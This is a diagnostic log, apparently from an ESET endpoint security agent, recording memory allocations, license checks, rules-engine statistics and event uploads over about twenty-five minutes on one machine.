2026-03-04 16:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1970 KB; ProcessInfo: 1721 KB; TcpIpConnectionsManager: 581 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 229 KB; BaseEvent: 177 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 46 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14311 KB;
2026-03-04 16:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:33:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:33:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:33:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:33:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2082 KB; ModuleMetadata: 1970 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; BaseEvent: 360 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 186 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 95 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14805 KB;
2026-03-04 16:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2446 KB; ModuleMetadata: 1970 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 538 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 166 KB; BatchSerializer::EventsQueueTag: 142 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 15385 KB;
2026-03-04 16:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2806 KB; ModuleMetadata: 1970 KB; BaseEvent: 713 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; BatchSerializer::EventsQueueTag: 188 KB; rules::ProcessConditionsCache: 143 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15938 KB;
2026-03-04 16:36:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:31:56, To:, 2026-03-04 16:36:01, Duration (s):, 245, Events Per Second:, 16.639, Events:, 4089, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3380, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 708, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453534
2026-03-04 16:36:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s394ms.
2026-03-04 16:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1970 KB; ProcessInfo: 1634 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; BaseEvent: 156 KB; rules::ProcessConditionsCache: 136 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 14048 KB;
2026-03-04 16:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 1998 KB; ModuleMetadata: 1970 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; BaseEvent: 338 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 123 KB; BatchSerializer::EventsQueueTag: 88 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14589 KB;
2026-03-04 16:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:38:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:38:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:38:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:38:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2404 KB; ModuleMetadata: 1971 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 214 KB; BatchSerializer::EventsQueueTag: 138 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 18 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15389 KB;
2026-03-04 16:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2831 KB; ModuleMetadata: 1971 KB; BaseEvent: 717 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; BatchSerializer::EventsQueueTag: 193 KB; rules::ProcessConditionsCache: 176 KB; cloudutils::CloudData: 137 KB; ProcessInfoCommandLineTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 16039 KB;
2026-03-04 16:39:57 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:36:01, To:, 2026-03-04 16:39:57, Duration (s):, 236, Events Per Second:, 17.563, Events:, 4150, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3469, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 680, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 464780
2026-03-04 16:39:58 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
2026-03-04 16:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1971 KB; ProcessInfo: 1689 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; cloudutils::CloudData: 137 KB; BaseEvent: 130 KB; rules::ProcessConditionsCache: 124 KB; BatchSerializer::EventsQueueTag: 34 KB; ProcessInfoCommandLineTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14093 KB;
2026-03-04 16:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2051 KB; ModuleMetadata: 1971 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; ModuleInfoCache: 315 KB; BaseEvent: 312 KB; CacheEntry: 289 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 83 KB; rules::ProcessConditionsCache: 82 KB; ProcessInfoCommandLineTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14613 KB;
2026-03-04 16:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2433 KB; ModuleMetadata: 1971 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; BaseEvent: 500 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 133 KB; rules::ProcessConditionsCache: 97 KB; ProcessInfoCommandLineTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 15243 KB;
2026-03-04 16:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:43:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:43:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:43:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:43:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2796 KB; ModuleMetadata: 1971 KB; BaseEvent: 677 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; BatchSerializer::EventsQueueTag: 179 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 82 KB; ProcessInfoCommandLineTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 15842 KB;
2026-03-04 16:44:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:39:56, To:, 2026-03-04 16:44:13, Duration (s):, 257, Events Per Second:, 15.896, Events:, 4091, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3384, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453883
2026-03-04 16:44:14 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s360ms.
2026-03-04 16:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1971 KB; ProcessInfo: 1575 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; cloudutils::CloudData: 137 KB; BaseEvent: 116 KB; rules::ProcessConditionsCache: 75 KB; BatchSerializer::EventsQueueTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 13867 KB;
2026-03-04 16:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1971 KB; ProcessInfo: 1937 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 315 KB; BaseEvent: 296 KB; CacheEntry: 289 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 78 KB; rules::ProcessConditionsCache: 75 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 14433 KB;
2026-03-04 16:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2347 KB; ModuleMetadata: 1971 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; BaseEvent: 485 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 155 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 129 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 15219 KB;
2026-03-04 16:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2737 KB; ModuleMetadata: 1971 KB; BaseEvent: 670 KB; TcpIpConnectionsManager: 603 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 195 KB; BatchSerializer::EventsQueueTag: 178 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15913 KB;
2026-03-04 16:48:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:44:12, To:, 2026-03-04 16:48:13, Duration (s):, 241, Events Per Second:, 17.112, Events:, 4132, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3438, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 693, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458998
2026-03-04 16:48:14 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s386ms.
2026-03-04 16:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:48:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:48:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:48:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:48:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1971 KB; ProcessInfo: 1614 KB; TcpIpConnectionsManager: 604 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 161 KB; cloudutils::CloudData: 137 KB; BaseEvent: 116 KB; BatchSerializer::EventsQueueTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14050 KB;
2026-03-04 16:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 1972 KB; ModuleMetadata: 1971 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; ModuleInfoCache: 315 KB; BaseEvent: 290 KB; CacheEntry: 289 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 136 KB; BatchSerializer::EventsQueueTag: 77 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 14580 KB;
2026-03-04 16:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2351 KB; ModuleMetadata: 1971 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; BaseEvent: 471 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 159 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 125 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 15197 KB;
2026-03-04 16:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2712 KB; ModuleMetadata: 1971 KB; BaseEvent: 654 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; BatchSerializer::EventsQueueTag: 172 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 120 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 15731 KB;
2026-03-04 16:52:21 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:48:13, To:, 2026-03-04 16:52:21, Duration (s):, 248, Events Per Second:, 16.462, Events:, 4091, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3380, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 710, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453317
2026-03-04 16:52:22 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s389ms.
2026-03-04 16:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1971 KB; ProcessInfo: 1511 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 560 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 109 KB; BaseEvent: 96 KB; BatchSerializer::EventsQueueTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 13845 KB;
2026-03-04 16:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:53:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:53:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:53:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:53:51 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1971 KB; ProcessInfo: 1918 KB; TcpIpConnectionsManager: 581 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 551 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; BaseEvent: 282 KB; rules::ProcessConditionsCache: 188 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 14612 KB;
2026-03-04 16:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2276 KB; ModuleMetadata: 1971 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; BaseEvent: 465 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 158 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 123 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 15112 KB;
2026-03-04 16:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2642 KB; ModuleMetadata: 1971 KB; BaseEvent: 646 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; BatchSerializer::EventsQueueTag: 171 KB; rules::ProcessConditionsCache: 147 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15698 KB;
